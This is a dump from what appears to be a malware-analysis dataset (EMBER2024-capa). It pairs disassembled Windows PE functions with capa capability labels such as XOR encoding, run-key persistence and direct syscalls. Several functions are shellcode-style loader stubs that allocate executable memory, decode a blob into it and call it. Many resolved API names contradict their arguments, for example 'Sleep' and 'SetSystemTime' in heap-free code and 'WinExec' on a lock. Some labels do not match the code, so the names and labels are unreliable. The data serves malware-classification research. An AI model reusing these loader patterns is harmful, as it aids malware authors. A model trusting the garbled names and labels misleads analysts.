joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00408afe
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00408afe
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00408afe
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00408afe
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00408afe
mov dword [0x41203c], eax
call fcn.00408afe
test eax, eax
jge 0x402550
push 8
call fcn.00408afe
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00408afe
pop ecx
push 1
call fcn.00408afe
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00408afe
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00408afe
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00408afe
jmp 0x402495

Function at 0x408afe
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x408b0d
pop dword [ebp - 0x38]
mov eax, 0x412f5c2c
add eax, 0xbf112ee1
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x37ddc
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x933e9370
sub ecx, 0x933e50c7
mov edx, eax
mov esi, 0xc6d44824
add esi, 0x396cf3a0
add esi, dword [ebp - 0x38]
mov ebx, 0xc8554bfd
add dword [ebp - 0x10], 0x65ae4838
mov edi, dword [esi]
sub dword [ebp - 0x10], 0xe40a5b8
xor edi, ebx
add dword [ebp - 4], 0x9d9a40c3
mov dword [edx], edi
mov dword [ebp - 0x24], 0xc9ccbb95
add edx, 0x2af76769
add edx, 0xd508989b
add esi, 0xdd9f1830
add esi, 0x2260e7d4
loop 0x408b61
add eax, 0xe5a389dc
sub eax, 0xe5a28c65
mov ebx, eax
add eax, 0x6703c947
sub eax, 0x6703c942
mov ecx, 0x5b9dadf0
add ecx, 0xa4a25210
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x403e59
pop dword [ebp - 0x4c]
mov eax, 0x403e59
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xdd875cf4
sub dword [ebp - 0x5c], 0x8f3517a9
mov dword [ebp - 0x58], 0x4c20edf3
sub dword [ebp - 0x58], 0x19eda1ae
mov dword [ebp - 0x54], 0xc615d0fc
sub dword [ebp - 0x54], 0x79c98cce
mov dword [ebp - 0x50], 0x7e2a7d4f
add dword [ebp - 0x50], 0x81d582b1
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x49bf2d23
add dword [ebp - 0x5c], 0x2ab33c33
mov dword [ebp - 0x58], 0x20f7be09
add dword [ebp - 0x58], 0x2074a36c
mov dword [ebp - 0x54], 0x31457542
add dword [ebp - 0x54], 0x3229f72a
mov dword [ebp - 0x50], 0x9f61aac4
sub dword [ebp - 0x50], 0x9f61aac4
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x47f1ddb0
add eax, 0xb84e92f8
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x379ad
push 0
call eax
mov ecx, 0x2ffcb996
add ecx, 0xd00391d8
mov edi, eax
mov edx, 0x52e63198
add edx, 0xad5ace68
add edx, dword [ebp - 0x4c]
mov esi, 0x6e94948e
sub esi, 0x9a5f0890
sub dword [ebp - 0x1c], 0xcff458bc
mov ebx, dword [edx]
sub dword [ebp - 0xc], 0x332ddcfa
add ebx, esi
add dword [ebp - 8], edi
mov dword [edi], ebx
xor dword [ebp - 0x30], esi
add edi, 0x399ecbaa
add edi, 0xc661345a
add edx, 0x50780e42
add edx, 0xaf87f1c2
loop 0x403f71
add eax, 0x1208b
xor ebx, ebx
add ebx, eax
add eax, 0x449fa3e7
sub eax, 0x449fa3e2
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x401788
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
xor edx, edx
push ebp
push 0x40183e
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x4065b4
call sub.KERNEL32.DLL_WinExec
cmp byte [0x406035], 0
je 0x4017b6
push 0x4065b4
call sub.KERNEL32.DLL_WriteFile
mov eax, 0x4065d4
call fcn.0040114c
mov eax, 0x4065e4
call fcn.0040114c
mov eax, 0x406610
call fcn.0040114c
push 0xff8
push 0
call sub.KERNEL32.DLL_SetFilePointer
mov dword [0x40660c], eax
cmp dword [0x40660c], 0
je 0x40181d
mov eax, 3
mov edx, dword [0x40660c]
xor ecx, ecx
mov dword [edx + eax*4 - 0xc], ecx
inc eax
cmp eax, 0x401
jne 0x4017f3
mov eax, 0x4065f4
mov dword [eax + 4], eax
mov dword [eax], eax
mov dword [0x406600], eax
mov byte [0x4065ac], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401845
cmp byte [0x406035], 0
je 0x40183d
push 0x4065b4
call sub.KERNEL32.DLL_WritePrivateProfileStringA
ret

Function at 0x40184c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
cmp byte [0x4065ac], 0
je 0x401929
xor edx, edx
push ebp
push 0x401922
push dword fs:[edx]
mov dword fs:[edx], esp
cmp byte [0x406035], 0
je 0x40187e
push 0x4065b4
call sub.KERNEL32.DLL_WriteFile
mov byte [0x4065ac], 0
mov eax, dword [0x40660c]
push eax
call sub.KERNEL32.DLL_SetSystemTime
xor eax, eax
mov dword [0x40660c], eax
mov ebx, dword [0x4065d4]
jmp 0x4018b1
push 0x8000
push 0
mov eax, dword [ebx + 8]
push eax
call sub.KERNEL32.DLL_Sleep
mov ebx, dword [ebx]
cmp ebx, 0x4065d4
jne 0x40189f
mov eax, 0x4065d4
call fcn.0040114c
mov eax, 0x4065e4
call fcn.0040114c
mov eax, 0x406610
call fcn.0040114c
mov eax, dword [0x4065cc]
test eax, eax
je 0x4018f7
mov edx, dword [eax]
mov dword [0x4065cc], edx
push eax
call sub.KERNEL32.DLL_SetSystemTime
mov eax, dword [0x4065cc]
test eax, eax
jne 0x4018e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401929
cmp byte [0x406035], 0
je 0x401917
push 0x4065b4
call sub.KERNEL32.DLL_WritePrivateProfileStringA
push 0x4065b4
call sub.KERNEL32.DLL_lstrlenA
ret
pop ebx
pop ebp
ret
Function at 0x401e74
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, eax
cmp byte [0x4065ac], 0
jne 0x401e91
call fcn.00401788
test al, al
je 0x401e99
cmp ebx, 0x7ffffff8
jle 0x401ea3
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x401ff7
xor ecx, ecx
push ebp
push 0x401ff0
push dword fs:[ecx]
mov dword fs:[ecx], esp
cmp byte [0x406035], 0
je 0x401ec4
push 0x4065b4
call sub.KERNEL32.DLL_WriteFile
add ebx, 7
and ebx, 0xfffffffc
cmp ebx, 0xc
jge 0x401ed4
mov ebx, 0xc
cmp ebx, 0x1000
jg 0x401f73
mov eax, ebx
test eax, eax
jns 0x401ee9
add eax, 3
sar eax, 2
mov edx, dword [0x40660c]
mov edx, dword [edx + eax*4 - 0xc]
test edx, edx
je 0x401f73
mov esi, edx
mov eax, esi
add eax, ebx
and dword [eax], 0xfffffffe
mov eax, dword [edx + 4]
cmp edx, eax
jne 0x401f24
mov eax, ebx
test eax, eax
jns 0x401f13
add eax, 3
sar eax, 2
mov ecx, dword [0x40660c]
xor edi, edi
mov dword [ecx + eax*4 - 0xc], edi
jmp 0x401f4a
mov ecx, ebx
test ecx, ecx
jns 0x401f2d
add ecx, 3
sar ecx, 2
mov edi, dword [0x40660c]
mov dword [edi + ecx*4 - 0xc], eax
mov ecx, dword [edx]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
mov dword [ecx + 4], eax
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, esi
mov edx, dword [edx + 8]
or edx, 2
mov dword [eax], edx
add eax, 4
mov dword [ebp - 4], eax
inc dword [0x40659c]
sub ebx, 4
add dword [0x4065a0], ebx
call fcn.00402c08
jmp 0x401ff7
cmp ebx, dword [0x406604]
jg 0x401fc5
sub dword [0x406604], ebx
cmp dword [0x406604], 0xc
jge 0x401f97
add ebx, dword [0x406604]
xor eax, eax
mov dword [0x406604], eax
mov eax, dword [0x406608]
add dword [0x406608], ebx
mov edx, ebx
or edx, 2
mov dword [eax], edx
add eax, 4
mov dword [ebp - 4], eax
inc dword [0x40659c]
sub ebx, 4
add dword [0x4065a0], ebx
call fcn.00402c08
jmp 0x401ff7
mov eax, ebx
call fcn.00401d80
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401ff7
cmp byte [0x406035], 0
je 0x401fef
push 0x4065b4
call sub.KERNEL32.DLL_WritePrivateProfileStringA
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x402004
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
mov dword [0x4065b0], eax
cmp byte [0x4065ac], 0
jne 0x40203c
call fcn.00401788
test al, al
jne 0x40203c
mov dword [0x4065b0], 8
mov dword [ebp - 4], 8
jmp 0x40219d
xor ecx, ecx
push ebp
push 0x402196
push dword fs:[ecx]
mov dword fs:[ecx], esp
cmp byte [0x406035], 0
je 0x40205d
push 0x4065b4
call sub.KERNEL32.DLL_WriteFile
mov esi, ebx
sub esi, 4
mov ebx, dword [esi]
test bl, 2
jne 0x402078
mov dword [0x4065b0], 9
jmp 0x40216d
dec dword [0x40659c]
mov eax, ebx
and eax, 0x7ffffffc
sub eax, 4
sub dword [0x4065a0], eax
test bl, 1
je 0x4020d8
mov eax, esi
sub eax, 0xc
mov edx, dword [eax + 8]
cmp edx, 0xc
jl 0x4020a8
test edx, 0x80000003
je 0x4020b7
mov dword [0x4065b0], 0xa
jmp 0x40216d
mov eax, esi
sub eax, edx
cmp edx, dword [eax + 8]
je 0x4020cf
mov dword [0x4065b0], 0xa
jmp 0x40216d
add ebx, edx
mov esi, eax
call fcn.0040192c
and ebx, 0x7ffffffc
mov eax, esi
add eax, ebx
mov edi, eax
cmp edi, dword [0x406608]
jne 0x402118
sub dword [0x406608], ebx
add dword [0x406604], ebx
cmp dword [0x406604], 0x3c00
jle 0x402109
call fcn.00401c1c
xor eax, eax
mov dword [ebp - 4], eax
call fcn.00402c08
jmp 0x40219d
mov edx, dword [eax]
test dl, 2
je 0x40213b
and edx, 0x7ffffffc
cmp edx, 4
jge 0x402136
mov dword [0x4065b0], 0xb
jmp 0x40216d
or dword [eax], 1
jmp 0x402164
mov eax, edi
cmp dword [eax + 4], 0
je 0x40214e
cmp dword [eax], 0
je 0x40214e
cmp dword [eax + 8], 0xc
jge 0x40215a
mov dword [0x4065b0], 0xb
jmp 0x40216d
mov edx, dword [eax + 8]
add ebx, edx
call fcn.0040192c
mov edx, ebx
mov eax, esi
call fcn.00401b94
mov eax, dword [0x4065b0]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40219d
cmp byte [0x406035], 0
je 0x402195
push 0x4065b4
call sub.KERNEL32.DLL_WritePrivateProfileStringA
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x402678
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004030b0
test esi, esi
jne 0x4026ae
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_LoadResource
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004031a0
jmp 0x4026cc
call sub.KERNEL32.DLL_GetVersionExA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.0040258c
mov edi, eax
test esi, esi
je 0x4026cc
cmp dword [ebx], 0
je 0x4026cc
dec esi
jmp 0x4026b5
add esp, 0x108
pop edi
pop esi
pop ebx
ret
Function at 0x402f34
Capabilities:
Accept command line arguments

Disassembly:
push ecx
cmp byte [0x406034], 0
je 0x402f95
cmp word [0x406208], 0xd7b2
jne 0x402f5d
cmp dword [0x406210], 0
jbe 0x402f5d
mov eax, 0x406204
call dword [0x406220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x405054
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetCommandLineA
push eax
call sub.KERNEL32.DLL_GetShortPathNameA
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x402fbc
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetCommandLineA
push eax
call sub.KERNEL32.DLL_GetShortPathNameA
pop edx
ret
cmp byte [0x405018], 0
jne 0x402fb1
push 0
push 0x40504c
push 0x405054
push 0
call sub.user32.dll_PostMessageA
pop edx
ret

Function at 0x402fc0
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, 0x406620
mov esi, section.DATA
mov edi, 0x406030
cmp byte [ebx + 0x28], 0
jne 0x402fef
cmp dword [edi], 0
je 0x402fef
mov edx, dword [edi]
mov eax, edx
xor edx, edx
mov dword [edi], edx
mov ebp, eax
call ebp
cmp dword [edi], 0
jne 0x402fde
cmp dword [0x405004], 0
je 0x403009
call fcn.00402ea8
call fcn.00402f34
xor eax, eax
mov dword [0x405004], eax
cmp byte [ebx + 0x28], 2
jne 0x403019
cmp dword [esi], 0
jne 0x403019
xor eax, eax
mov dword [ebx + 0xc], eax
call fcn.00402da8
cmp byte [ebx + 0x28], 1
jbe 0x403029
cmp dword [esi], 0
je 0x40304a
mov eax, dword [ebx + 0x10]
test eax, eax
je 0x40304a
call fcn.004034cc
mov edx, dword [ebx + 0x10]
mov eax, dword [edx + 0x10]
cmp eax, dword [edx + 4]
je 0x40304a
test eax, eax
je 0x40304a
push eax
call sub.KERNEL32.DLL_GetSystemTime
call fcn.00402d80
cmp byte [ebx + 0x28], 1
jne 0x403058
call dword [ebx + 0x24]
cmp byte [ebx + 0x28], 0
je 0x403063
call fcn.00402f04
cmp dword [ebx], 0
jne 0x40307f
cmp dword [0x406018], 0
je 0x403077
call dword [0x406018]
mov eax, dword [esi]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov eax, dword [ebx]
push esi
mov esi, eax
mov edi, ebx
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
pop esi
jmp 0x403009

Function at 0x404400
Capabilities:
Get geographical location

Disassembly:
add esp, 0xffffffd8
push esp
push 0x28
call fcn.004038f0
push eax
call sub.KERNEL32.DLL_GetStartupInfoA
lea eax, [esp + 0xc]
push eax
push 0x404454
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov dword [esp + 0x14], 2
mov dword [esp + 8], 1
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x1c]
push eax
push 0x10
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
add esp, 0x28
ret
Function at 0x404468
Capabilities:
Get geographical location

Disassembly:
add esp, 0xffffffd0
push esp
push 0xf00ff
call fcn.004038f0
push eax
call sub.KERNEL32.DLL_GetStartupInfoA
lea eax, [esp + 8]
push eax
push 0x4044dc
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
test eax, eax
je 0x4044ce
mov dword [esp + 0x20], 1
mov dword [esp + 0x2c], 2
mov eax, dword [esp + 8]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x28], eax
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x14]
push eax
push 0x10
lea eax, [esp + 0x2c]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
mov eax, dword [esp]
push eax
call fcn.004038a8
add esp, 0x30
ret

Function at 0x404688
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.0040338c
mov eax, dword [ebp - 8]
call fcn.0040338c
xor eax, eax
push ebp
push 0x40472b
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00404468
dec ebx
jne 0x4046d6
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040339c
push eax
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
jmp 0x4046ed
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040339c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
cmp dword [ebp - 0xc], 0
je 0x404707
push 8
mov eax, dword [ebp - 8]
call fcn.0040339c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_GetThreadLocale
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404732
lea eax, [ebp - 8]
mov edx, 2
call fcn.004030d4
ret

Function at 0x404738
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040338c
xor eax, eax
push ebp
push 0x404857
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
mov edx, 0x404864
call fcn.004031e0
mov edx, dword [ebp - 0xc]
mov ecx, 0x40489c
mov eax, 2
call fcn.004045a8
lea eax, [ebp - 8]
push eax
push 0x4048a8
push 0x80000001
call sub.KERNEL32.DLL_GetCurrentThreadId
mov ebx, 5
mov ecx, 0x40489c
mov edx, 0x4048c0
mov eax, 1
call fcn.00404688
dec ebx
jne 0x404793
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x4048d8
mov edx, 0x4048c0
mov eax, 0x80000001
call fcn.004044f0
lea eax, [ebp - 0x10]
mov edx, 0x4048a8
call fcn.004031e0
mov edx, dword [ebp - 0x10]
mov ecx, 0x4048ec
mov eax, 1
call fcn.004045a8
mov ebx, 5
lea eax, [ebp - 0x14]
mov edx, 0x404864
call fcn.004031e0
mov edx, dword [ebp - 0x14]
mov ecx, 0x4048ec
mov eax, 2
call fcn.00404688
dec ebx
jne 0x4047e6
push 0x4048a8
push 0x80000001
call sub.KERNEL32.DLL_LocalFree
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GetThreadLocale
push 0x4048f8
call fcn.004038c0
push 0x404904
call fcn.004038c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40485e
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004030d4
lea eax, [ebp - 4]
call fcn.004030b0
ret
Function at 0xa94370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xa9438e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xabd074
push ecx
mov edi, eax
call fcn.00aa8198
mov esi, eax
add esp, 8
test esi, esi
jne 0xa943cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00aa802e
push esi
call fcn.00aa7fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xa97850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xa978ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xac2720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xa978ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00aa81e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xa978ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xac2720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xa9792a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00aa9082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xa97957
mov word [eax], si
add eax, 2
push eax
call fcn.00aa9030
add esp, 4
jmp 0xa97959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xa978ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xa978b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xa97ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xa98080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xa980c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xabd458
push ecx
call fcn.00aa81e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00aa81e1
add esp, 0x10
jmp 0xa980d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00aa820b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00aa7dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00a98050
mov eax, dword [0xac2728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xa9813b
push esi
call fcn.00a97fb0
add esp, 4
mov dword [0xac2728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xa9814c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00a97ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xa9b440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xa9b4b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xa9b48e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xa9b471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xa9b47e
add edx, ecx
cmp ebx, edx
jb 0xa9b48a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xa9b467
xor ecx, ecx
jmp 0xa9b4a2
test eax, eax
jne 0xa9b492
xor ecx, ecx
jmp 0xa9b4a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00a9b3c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0xa9b8f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xa9b921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0xa9b946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0xa9b96e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0xa9b993
push ecx
push esi
call fcn.00a9b4c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret